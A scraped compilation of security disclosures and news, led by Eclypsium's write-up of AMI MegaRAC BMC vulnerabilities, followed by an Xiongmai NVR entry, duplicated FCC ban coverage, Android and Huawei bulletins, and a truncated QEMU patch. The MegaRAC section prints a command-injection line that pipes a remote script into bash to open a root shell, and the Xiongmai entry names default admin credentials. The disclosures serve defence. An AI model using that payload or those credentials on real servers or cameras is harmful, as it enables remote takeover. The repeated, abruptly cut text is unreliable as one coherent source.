AMI MegaRAC Redfish Arbitrary Code Execution

**BMC&C**

Eclypsium Research has discovered and reported 3 vulnerabilities in AMI MegaRAC Baseboard Management Controller (BMC) software. We are referring to these vulnerabilities collectively as BMC&C. MegaRAC BMC is widely used by many leading server manufacturers to provide “lights-out” management capabilities for their server products. Server manufacturers that are known to have used MegaRAC BMC include but are not limited to the following: 

AMD

Ampere Computing

ASRock

Asus

ARM

Dell EMC

Gigabyte

Hewlett-Packard Enterprise

Huawei

Inspur

Lenovo

NVidia

Qualcomm

Quanta

Tyan

The BMC&C vulnerabilities range in severity from Medium to Critical, including remote code execution and unauthorized device access with superuser permissions. The vulnerabilities can be exploited by remote attackers having access to remote management interfaces (Redfish, IPMI). Redfish is the successor to traditional IPMI and provides an API standard for the management of a server’s infrastructure and other infrastructure supporting modern data centers. Redfish is supported by virtually all major server and infrastructure vendors, as well as the OpenBMC firmware project.

These vulnerabilities pose a major risk to the technology supply chain that underlies cloud computing. In short, vulnerabilities in a component supplier affect many hardware vendors, which in turn can pass on to many cloud services. As such these vulnerabilities can pose a risk to servers and hardware that an organization owns directly as well as the hardware that supports the cloud services that they use.

BMCs are designed to provide administrators with near total and remote control over the servers they manage. AMI is a leading provider of BMCs and BMC firmware to a wide range of hardware vendors and cloud service providers. As a result, these vulnerabilities potentially affect a very large number of devices, and could enable attackers to gain control of or cause damage not only to devices but to data centers and cloud services

The vulnerabilities discovered are addressed by the following CVEs:

*   CVE-2022-40259 – Arbitrary Code Execution via Redfish API
*   CVE-2022-40242 – Default credentials for UID = 0 shell via SSH
*   CVE-2022-2827 – User enumeration via API

The impact of exploiting these vulnerabilities include remote control of compromised servers, remote deployment of malware, ransomware and firmware implants, and server physical damage (bricking). At this time, it is unknown whether these vulnerabilities are under active exploitation.

These risks are magnified by MegaRAC’s position as the world’s leading provider of BMC remote management firmware, sitting at the top of the BMC supply chain. This firmware is a foundational component of modern computing found in hundreds of thousands of servers in data centers, server farms, and cloud infrastructure around the world. And since devices in these environments typically standardize on a hardware configuration, a vulnerable configuration could likely be shared across thousands of devices. Additionally, some of this research was enabled by the discovery of a substantial amount of AMI intellectual property on the Internet. The availability of this information could naturally increase the likelihood of attacks in the wild. 

Eclypsium Research has been following a Coordinated Vulnerability Disclosure process, including AMI and other affected parties. Additionally, AMI and Eclypsium have reached out to multiple parties who are working to determine the scope of impacted products and services.

**About MegaRAC Baseboard Management Controllers (BMCs)**

Baseboard Management Controllers (BMCs) are powerful and privileged components that provide out-of-band management for modern servers. For all intents and purposes, a BMC is a fully functional independent computer within a server, equipped with its own independent power, firmware, memory, and networking stack. This allows remote administrators to control virtually everything on the device from low-level hardware settings to managing the host operating system, virtual hosts, applications, or data. The BMC can allow administrators to manage the host even when the host itself is powered off. 

The unique power and capabilities of BMCs make them particularly dangerous if compromised by attackers. Recently, attackers used BMC implants known as iLOBleed to attack data centers and completely wipe the disks of servers. Just as importantly, iLOBleed used the unique powers of firmware to do this repeatedly. Since the malicious code was hidden within the BMC firmware, the implant was able to persist even after the server operating system was reinstalled, enabling the attacker to repeat the cycle of destroying data after the server was recovered. Additionally, the implant took the added steps of silently preventing the system from updating the BMC firmware while spoofing results to make it appear that the firmware had been updated. While the iLOBleed implants are not directly related to the BMC&C vulnerabilities, they serve as a real-world example of the damage attackers can inflict on a large number of devices with access to their BMCs.

**A Fault Line in the Cloud Supply Chain**

To properly appreciate the scope of the BMC&C vulnerabilities, it is important to understand the role AMI MegaRAC plays in the supply chain of cloud data centers. Naturally, many enterprises are attracted to the cloud due to the ability to abstract computing resources from the cost and ongoing maintenance of physical hardware. However, clouds still ultimately run on hardware – and that translates to vast numbers of servers from many different vendors.

MegaRAC BMC firmware is one of the common threads that connects much of the hardware that underlies the cloud. As a result, any vulnerability in MegaRAC can easily spread through the extended supply chain to affect dozens of vendors and potentially millions of servers. Additionally, in order to abstract computing from the hardware, it is critical that the physical servers within a data center are interchangeable. To this end, cloud providers standardize on server components, hardware configurations, firmware & operating system versions, and hypervisor software. So if a vulnerable BMC is used in a data center environment, it is highly likely that hundreds or thousands of devices will share that same vulnerability. In the context of an attack, this could potentially put entire clouds at risk. 

**Discovery Process**

In August 2022, Eclypsium Research was made aware of a leak of intellectual property, purported to come from AMI, which had been posted online. After downloading and reviewing the data, it appeared legitimate, and since there was a chance others had accessed it the decision was made to look for vulnerabilities in case malicious actors were doing the same. The focus quickly narrowed down to the Redfish API, as it is remotely accessible and a first choice for attackers. 

**Vulnerability Details**

*   CVE-2022-40259 – Arbitrary Code Execution via Redfish API
*   CVE-2022-40242 – Default credentials for UID = 0 shell via SSH
*   CVE-2022-2827 – User enumeration via API

**BMC&C Attack Scenario****CVE-2022-40259 – Arbitrary Code Execution via Redfish API**

CVSS v3.1 Score : **9.9 Critical** (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

To find this issue, initially we reviewed for potentially dangerous calls such as command execution calls. We narrowed it down only to calls exposed to the user, and there was one sitting in the Redfish API implementation. The only complication is the attack sits in the path parameter, but it is not URL-decoded by the framework, so the exploit needs to be crafted specially to both be valid per URL and valid per bash shell command. The exploit looks roughly as follows (note that we have edited out a few details – like where it actually is – so as not to release a ready-made exploit for attackers):

http://<device>/super/secret/path;curl${IFS}domain.com|bash;

The path needs to be sent as-is in the HTTP request. domain.com needs to host a reverse shell (we will not be providing one, but it uses an available scripting language present on-board and is otherwise unremarkable). This exploit leads straight into a UID = 0 shell (UID = 0 user, confusingly, is called sysadmin), and does require the attacker to have a minimum access level on the device (Callback or up).

**CVE-2022-40242 – Default credentials for UID = 0 shell via SSH**

CVSS v3.1 Score : **8.3 High** (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H)

As a second part for enumeration, we looked for available credentials in normal locations for a Linux system. We found a hash in /etc/shadow for the sysadmin user and managed to crack it. The password looked like a default, and we managed to find backreferences to it going as far back as 2014 by other people. Finding them is left as an exercise to the reader.

**CVE-2022-2827 – User enumeration via API**

CVSS v3.1 Score : **7.5 High** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

When making a request for a password reset, one of the parameters can be manipulated in such a way that it is possible to determine whether the user exists or not, with no prior knowledge other than the username itself. The vulnerability also allows an attacker to test for the presence of user accounts by iterating through a list of possible account names.

**Attack Scenarios**

The first two CVEs (CVE-2022-40259, CVE-2022-40242) lead straight into the UID = 0 administrative shell, with no further escalation necessary. CVE-2022-40259 requires prior access to at least a low-privilege account (Callback privileges or higher), while CVE-2022-40242 requires nothing more than remote access to the device, albeit on some devices this account may be disabled. The third vulnerability (CVE-2022-2827) would require additional steps for full exploitation; e.g. it allows for pinpointing pre-existing users and does not lead into a shell but would provide an attacker a list of targets for brute force or credential stuffing attacks.

These vulnerabilities can pose serious risks in any case in which an attacker has access to an affected server’s BMC. As a security best practice, BMCs should not be directly exposed to the Internet and scans performed after the initial disclosure indicate that public exposure is relatively low compared to recent high-profile vulnerabilities in other infrastructure products. However, it is quite common to find BMCs that are exposed due to either misconfigurations or poor security hygiene. Additionally, these vulnerabilities could be exploited by an attacker that has gained initial access into a data center or administrative network. As data centers tend to standardize on specific hardware platforms, any BMC-level vulnerability would most likely apply to large numbers of devices and could potentially affect an entire data center and the services that it delivers. Due to the nature and location of BMC vulnerabilities, detecting exploitation is complex as standard EDR & AV products focus on the operating system, not the underlying firmware. 

**Mitigations**

*   Ensure that all remote server management interfaces (e.g. Redfish, IPMI) and BMC subsystems in their environments are on their dedicated management networks and are not exposed externally, and ensure internal BMC interface access is restricted to administrative users with ACLs or firewalls.  
    
*   Review vendor default configurations of device firmware to identify and disable built-in administrative accounts and/or use remote authentication where available.  
    
*   Perform regular software and firmware updates in critical servers.  
    
*   Ensure that vulnerability assessments include remote server management subsystems (like MegaRAC, iDRAC, iLO, etc.) and critical firmware.  
    
*   Ensure that all critical firmware in servers is regularly monitored for indicators of compromise or unauthorized modifications.  
    
*   Perform supply chain checks of new equipment. Assess that all new servers have major vulnerabilities patched and the latest firmware updates installed.  
    
*   For Eclypsium customers, the platform will provide coverage of recently discovered vulnerabilities through a new functionality that will dynamically update scan results. 
*   Eclypsium has collaborated with Greynoise to provide detection signatures which will provide threat intelligence should any malicious actor begin indiscriminate exploitation attempts of CVE-2022-40259 or CVE-2022-2827.

**Conclusions**

Securing the firmware supply chain is a complex problem, and vulnerabilities found at the top of the chain present substantial risk due to the way OEMs integrate code into their products. Firmware vulnerabilities are non-trivial to remediate due the fact their location in the computing stack is not optimized for patching at scale. Furthermore, standardization of hosting & cloud providers on server components means these vulnerabilities can easily impact hundreds of thousands, possibly millions of systems. 

As attackers shift their focus from user facing operating systems to the lower level embedded code which hardware relies on, compromise becomes harder to detect and exponentially more complex to remediate. While compromise of a server OS can be resolved with a wipe & reinstallation, firmware compromise has the potential to remain beyond reinstallation and even more drastic measures like hard drive replacement. Security research into this area is imperative to stay a step ahead of the attacks and protect the foundation upon which modern computing relies on.

CVE-2022-40259: Supply Chain Vulnerabilities Put Server Ecosystem At Risk - Eclypsium

Multiple Xiongmai NVR devices, including MBD6304T V4.02.R11.00000117.10001.131900.00000 and NBD6808T-PL V4.02.R11.C7431119.12001.130000.00000, allow authenticated users to execute arbitrary commands as root, as exploited in the wild starting in approximately 2019. A remote and authenticated attacker, possibly using the default admin:tlJwpbo6 credentials, can connect to port 34567 and execute arbitrary operating system commands via a crafted JSON file during an upgrade request. Since at least 2021, Xiongmai has applied patches to prevent attackers from using this mechanism to execute telnetd.

CVE-2022-45045: Xiongmai IoT Exploitation - Blog - VulnCheck

The U.S. Federal Communications Commission (FCC) formally announced it will no longer authorize electronic equipment from Huawei, ZTE, Hytera, Hikvision, and Dahua, deeming them an "unacceptable" national security threat.
All these Chinese telecom and video surveillance companies were previously included in the Covered List as of March 12, 2021.
"The FCC is committed to protecting our national

The U.S. Federal Communications Commission (FCC) formally announced it will no longer authorize electronic equipment from Huawei, ZTE, Hytera, Hikvision, and Dahua, deeming them an "unacceptable" national security threat.

All these Chinese telecom and video surveillance companies were previously included in the Covered List as of March 12, 2021.

"The FCC is committed to protecting our national security by ensuring that untrustworthy communications equipment is not authorized for use within our borders, and we are continuing that work here," FCC Chairwoman Jessica Rosenworcel said in a Friday order.

"These new rules are an important part of our ongoing actions to protect the American people from national security threats involving telecommunications."

Pursuant to the ban, Hytera, Hikvision, and Dahua are required to document the safeguards the firms are putting in place on the sale of their devices for government use and surveillance of critical infrastructure facilities.

The development comes over two months after the regulator moved to add Pacific Network Corp and China Unicom (Americas) to the Covered List in an effort to curtail the reach of Chinese state-owned carriers in U.S. networks.

It's not just the U.S. The U.K., in a similar move, has banned the installation of visual surveillance systems procured from China on "sensitive" government sites.

"Departments have been advised that no such equipment should be connected to departmental core networks and that they should consider whether they should remove and replace such equipment where it is deployed on sensitive sites rather than awaiting any scheduled upgrades," the government said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

U.S. Bans Chinese Telecom Equipment and Surveillance Cameras Over National Security Risk

The U.S. Federal Communications Commission (FCC) formally announced it will no longer authorize electronic equipment from Huawei, ZTE, Hytera, Hikvision, and Dahua, deeming them an "unacceptable" national security threat.

All these Chinese telecom and video surveillance companies were previously included in the Covered List as of March 12, 2021.

"The FCC is committed to protecting our national security by ensuring that untrustworthy communications equipment is not authorized for use within our borders, and we are continuing that work here," FCC Chairwoman Jessica Rosenworcel said in a Friday order.

"These new rules are an important part of our ongoing actions to protect the American people from national security threats involving telecommunications."

Pursuant to the ban, Hytera, Hikvision, and Dahua are required to document the safeguards the firms are putting in place on the sale of their devices for government use and surveillance of critical infrastructure facilities.

The development comes over two months after the regulator moved to add Pacific Network Corp and China Unicom (Americas) to the Covered List in an effort to curtail the reach of Chinese state-owned carriers in U.S. networks.

It's not just the U.S. The U.K., in a similar move, has banned the installation of visual surveillance systems procured from China on "sensitive" government sites.

"Departments have been advised that no such equipment should be connected to departmental core networks and that they should consider whether they should remove and replace such equipment where it is deployed on sensitive sites rather than awaiting any scheduled upgrades," the government said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Lawmakers are growing concerned about a flood of data-hungry cars from China taking over American streets.

Amid rising concerns about China’s growing international data collection apparatus, a newly divided US Congress is applying fresh scrutiny to the possibility that imported Chinese technology could be a Trojan horse.

In a letter to the US National Highway Traffic Safety Administration, shared exclusively with WIRED, Representative August Pfluger asks some tough questions as to whether Washington is really prepared for the security threat posed by the coming influx of Chinese-made smart and autonomous vehicles (AVs) to the United States.

 “I remain concerned that a lack of US oversight in AV technology has opened the door for a foreign nation to spy on American soil, as Chinese companies potentially transfer critical data to the People’s Republic of China,” Pfluger writes.

While AV technology may be some years away from widespread commercial use, pilot projects are already on the roads around the world. As of earlier this year, more than 1,000 AutoX autonomous taxis were on the roads in California. AutoX, a Chinese startup backed by one of the largest state-owned car companies in the communist country, was granted approval by California in 2020.

As American regulators have green-lit those test projects, Pfluger writes, “there remains a serious lack of oversight regarding their data governance.”

Earlier this year, WIRED reported on the mounting national security issues posed by Chinese-made vehicles. The massive trove of data being collected by these cars could give adversarial states an unprecedented vantage point into the United States and other Western nations. Beijing has already pioneered the use of big-data analytics to identify dissidents at home, and concerns have mounted that those tactics could be deployed abroad.

Pfluger submitted a detailed list of questions to the National Highway Traffic Safety Administration (NHTSA), which regulates the use of AVs, and asked the regulator to explain how it has vetted the national security risk posed by these Chinese companies.

“Has NHTSA worked independently, or in collaboration with cities or other local governments to limit or prevent Chinese-owned companies from collecting sensitive information from American infrastructure, including information about sensitive government or military facilities, and subsequently sharing such information abroad?” Pfluger writes.

China has certainly had that anxiety about American-made smart and electric vehicles. Earlier this year, for example, Beijing placed firm restrictions on where Teslas could drive, particularly around military installations, amid high-level Communist Party meetings.

Pfluger highlights in his letter that China could use “autonomous and connected vehicles as a pathway to incorporate their systems and technology into our country's infrastructure.” The United States, like most of its allies, has already banned Chinese corporate giant Huawei from building 5G infrastructure, but these next-generation vehicles would have access to an unprecedented number of emails, messages, and phone calls, and would effectively be moving cameras, capable of photographing an array of critical infrastructure.

As Homeland Security secretary Alejandro Mayorkas told a House committee last week, there are “perils of having communications infrastructure in the hands of nation-states that don't protect freedoms and rights as we do.” FBI director Christopher Wray warned that China has stolen more data from the United States than all other nations combined, through “increasingly sophisticated, large-scale cyber espionage operations against a range of industries, organizations, and dissidents in the United States.”

Autonomous Vehicles Join the List of US National Security Threats

In MMU_UnmapPages of the PowerVR kernel driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android SoCAndroid ID: A-243825200

_Published November 7, 2022_

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2022-11-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours. We will revise this bulletin with the AOSP links when they are available.

The most severe of these issues is a high security vulnerability in the Framework component that could lead to local escalation of privilege with no additional execution privileges needed. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.

**Android and Google service mitigations**

This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.

*   Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.
*   The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play.

**2022-11-01 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2022-11-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.

**Framework**

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-2209

A-235601882

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20441

A-238605611

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20446

A-229793943

EoP

High

10, 11

CVE-2022-20448

A-237540408

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20450

A-210065877

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20452

A-240138318

EoP

High

13

CVE-2022-20457

A-243924784

EoP

High

13

**Multiple components**

The vulnerability in this section could lead to local denial of service with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20426

A-236263294

DoS

High

10, 11, 12, 12L, 13

**System**

The most severe vulnerability in this section could lead to local escalation of privilege with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2022-20451

A-235098883

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20454

A-242096164

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20462

A-230356196

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20463

A-231985227

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20465

A-218500036

EoP

High

10, 11, 12, 12L, 13

CVE-2022-20445

A-225876506

ID

High

10, 11, 12, 12L, 13

CVE-2022-20447

A-233604485

ID

High

13

CVE-2022-20414

A-234441463

DoS

High

10, 11, 12, 12L, 13

CVE-2022-20453

A-240685104

DoS

High

10, 11, 12, 12L, 13

**Google Play system updates**

The following issues are included in Project Mainline components.

 

Subcomponent

CVE

Media Framework components

CVE-2022-2209

WiFi

CVE-2022-20463

**2022-11-05 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2022-11-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Imagination Technologies**

These vulnerabilities affect Imagination Technologies components and further details are available directly from Imagination Technologies. The severity assessment of these issues is provided directly by Imagination Technologies.

   

CVE

References

Severity

Subcomponent

CVE-2021-1050

A-243825200 \*

High

PowerVR-GPU

CVE-2021-39661

A-246824784 \*

High

PowerVR-GPU

**MediaTek components**

These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

   

CVE

References

Severity

Subcomponent

CVE-2022-32601

A-234038598  
M-ALPS07319132 \*

High

telephony

CVE-2022-32602

A-245050053  
M-ALPS07388790 \*

High

keyinstall

**Unisoc components**

These vulnerabilities affect Unisoc components and further details are available directly from Unisoc. The severity assessment of these issues is provided directly by Unisoc.

   

CVE

References

Severity

Subcomponent

CVE-2022-2984

A-244673210  
U-1901978 \*

High

Kernel

CVE-2022-2985

A-244657985  
U-1882490 \*

High

Android

CVE-2022-38669

A-244666286  
U-1883755 \*

High

Android

CVE-2022-38670

A-244674480  
U-1883755 \*

High

Android

CVE-2022-39105

A-245210875  
U-1830881 \*

High

Kernel

CVE-2022-38672

A-244684957  
U-1957128 \*

High

Kernel

CVE-2022-38673

A-246482122  
U-1957128 \*

High

Kernel

CVE-2022-38676

A-244683429  
U-1908118 \*

High

Kernel

CVE-2022-38690

A-244109033  
U-1914157 \*

High

Kernel

**Qualcomm components**

These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

   

CVE

References

Severity

Subcomponent

CVE-2022-25724

A-238106223  
QC-CR#3090325 \[2\] \[3\]

High

Display

CVE-2022-25741

A-240972788  
QC-CR#3147273

High

WLAN

CVE-2022-25743

A-240973083  
QC-CR#3153406

High

Display

**Qualcomm closed-source components**

These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

   

CVE

References

Severity

Subcomponent

CVE-2021-35122

A-213239915 \*

Critical

Closed-source component

CVE-2021-35108

A-209469945 \*

High

Closed-source component

CVE-2021-35109

A-209469824 \*

High

Closed-source component

CVE-2021-35132

A-213240063 \*

High

Closed-source component

CVE-2021-35135

A-213239949 \*

High

Closed-source component

CVE-2022-25671

A-231156429 \*

High

Closed-source component

CVE-2022-33234

A-240971780 \*

High

Closed-source component

CVE-2022-33236

A-240973180 \*

High

Closed-source component

CVE-2022-33237

A-240972236 \*

High

Closed-source component

CVE-2022-33239

A-240982982 \*

High

Closed-source component

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

To learn how to check a device's security patch level, see Check and update your Android version.

*   Security patch levels of 2022-11-01 or later address all issues associated with the 2022-11-01 security patch level.
*   Security patch levels of 2022-11-05 or later address all issues associated with the 2022-11-05 security patch level and all previous patch levels.

Device manufacturers that include these updates should set the patch string level to:

*   \[ro.build.version.security\_patch\]:\[2022-11-01\]
*   \[ro.build.version.security\_patch\]:\[2022-11-05\]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2022-11-01 security patch level. Please see this article for more details on how to install security updates.

**2\. Why does this bulletin have two security patch levels?**

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

*   Devices that use the 2022-11-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.
*   Devices that use the security patch level of 2022-11-05 or newer must include all applicable patches in this (and previous) security bulletins.

Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

**3\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**4\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**5\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**6\. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?**

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

**Versions**

  

Version

Date

Notes

1.0

November 7, 2022

Bulletin Published

CVE-2021-1050: Android Security Bulletin—November 2022  |  Android Open Source Project

Missing parameter type validation in the DRM module. Successful exploitation of this vulnerability may affect availability.

HUAWEI is releasing monthly security updates for flagship models. This security update includes HUAWEI and third-party library patches:

This security update includes the following third-party library patches:

This security update includes the CVE announced in the October 2022 Android security bulletin:

Critical: CVE-2022-25720

High: CVE-2022-20412, CVE-2022-20413, CVE-2022-20422, CVE-2022-20421, CVE-2021-0696, CVE-2021-0699, CVE-2021-0951, CVE-2022-20423

Medium: CVE-2021-39758, CVE-2022-20415, CVE-2022-25664, CVE-2022-25666, CVE-2022-20253, CVE-2022-20257, CVE-2022-20269, CVE-2022-20273, CVE-2022-20278, CVE-2022-20290, CVE-2022-20313, CVE-2022-20314, CVE-2022-20333, CVE-2022-20334

Low: none

Already included in previous updates: CVE-2022-20247, CVE-2022-20271, CVE-2022-20272, CVE-2022-20292, CVE-2022-20297, CVE-2022-20302, CVE-2022-20399, CVE-2021-0986

※ For more information on security patches, please refer to the Android security bulletins (https://source.android.com/security/bulletin).

This security update includes the following HUAWEI patches:

CVE-2021-46851: Vulnerability of unstrict verification of the memory's security attribute in the DRM module

Severity: High

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability by attackers may cause the video playback to be abnormal.

CVE-2021-46852: Logic bypass vulnerability in the memory management module

Severity: Medium

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability will affect confidentiality.

CVE-2022-44546: Vulnerability that the kernel module automatically frees the memory but does not clear the mapping

Severity: High

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability may cause the system to restart.

CVE-2022-44547: UAF vulnerability in the Display Service module

Severity: High

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability may cause Display Service to reset and restart.

CVE-2022-44548: Vulnerability of unstrict permission verification during Bluetooth pairing

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause the dialog box for confirming the pairing not to be displayed during Bluetooth pairing.

CVE-2022-44549: Geofencing API access vulnerability in the LBS module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause third-party apps to access the geofencing API without authorization, affecting user confidentiality.

CVE-2022-44550: UAF vulnerability when traversing layers in the graphics display module

Severity: High

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may affect availability.

CVE-2022-44551: Thread security vulnerability in the iaware module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability will affect confidentiality, integrity, and availability.

CVE-2022-44552: Vulnerability of defects being introduced in the design process in the lock screen module

Severity: Medium

Affected versions: EMUI11.0.1

Impact: Successful exploitation of this vulnerability may affect availability.

CVE-2022-44553: Vulnerability of not filtering third-party apps out when the HiView module traverses to invoke the system provider

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause third-party apps to be activated periodically.

CVE-2022-44554: Unstrict permission verification vulnerability in the power module

Severity: Medium

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability may cause the status of a module to be abnormal.

CVE-2022-44555: Service hijacking vulnerability in the DDMP/ODMF module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause service unavailability.

CVE-2022-44556: Missing parameter type validation in the DRM module

Severity: High

Affected versions: EMUI12.0.0

Impact: Successful exploitation of this vulnerability may affect availability.

CVE-2022-44557: Vulnerability of obtaining the read and write permissions on arbitrary system files in the SmartTrimProcessEvent module

Severity: High

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability will affect confidentiality.

CVE-2022-44558: Mismatch between serialization and deserialization in the AMS module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause privilege escalation.

CVE-2022-44559: Mismatch between serialization and deserialization in the AMS module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause privilege escalation.

CVE-2022-44560: Intent redirection vulnerability in the launcher module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause launcher module data to be modified.

CVE-2022-44561: Permission verification vulnerability in the preset launcher module

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability allows unauthorized apps to add arbitrary widgets and shortcuts without interaction.

CVE-2022-44562: Mismatch between serialization and deserialization at the system framework layer

Severity: Medium

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability may cause privilege escalation.

CVE-2022-44563: Race condition vulnerability in SD upgrade mode

Severity: High

Affected versions: EMUI12.0.1, EMUI12.0.0, EMUI11.0.1

Impact: Successful exploitation of this vulnerability will affect confidentiality.

CVE-2022-44556: November

An off-by-one read/write issue was found in the SDHCI device of QEMU. It occurs when reading/writing the Buffer Data Port Register in sdhci_read_dataport and sdhci_write_dataport, respectively, if data_count == block_size. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition.

\[Date Prev\]\[Date Next\]\[Thread Prev\]\[Thread Next\]\[Date Index\]\[Thread Index\]

**From**:

Mauro Matteo Cascella

**Subject**:

\[PATCH\] hw/sd/sdhci: reset data count in sdhci\_buff\_access\_is\_sequential()

**Date**:

Mon, 7 Nov 2022 11:35:10 +0100

Make sure to reset data\_count if it's equal to (or exceeds) block\_size.
This prevents an off-by-one read / write when accessing s->fifo\_buffer
in sdhci\_read\_dataport / sdhci\_write\_dataport, both called right after
sdhci\_buff\_access\_is\_sequential.

Fixes: CVE-2022-3872
Reported-by: RivenDell <XRivenDell@outlook.com>
Reported-by: Siqi Chen <coc.cyqh@gmail.com>
Reported-by: ningqiang <ningqiang1@huawei.com>
Signed-off-by: Mauro Matteo Cascella <mcascell@redhat.com>
---
 hw/sd/sdhci.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/hw/sd/sdhci.c b/hw/sd/sdhci.c
index 306070c872..aa2fd79df2 100644
--- a/hw/sd/sdhci.c
+++ b/hw/sd/sdhci.c
@@ -978,6 +978,10 @@ static bool sdhci\_can\_issue\_command(SDHCIState \*s)
 static inline bool
 sdhci\_buff\_access\_is\_sequential(SDHCIState \*s, unsigned byte\_num)
 {
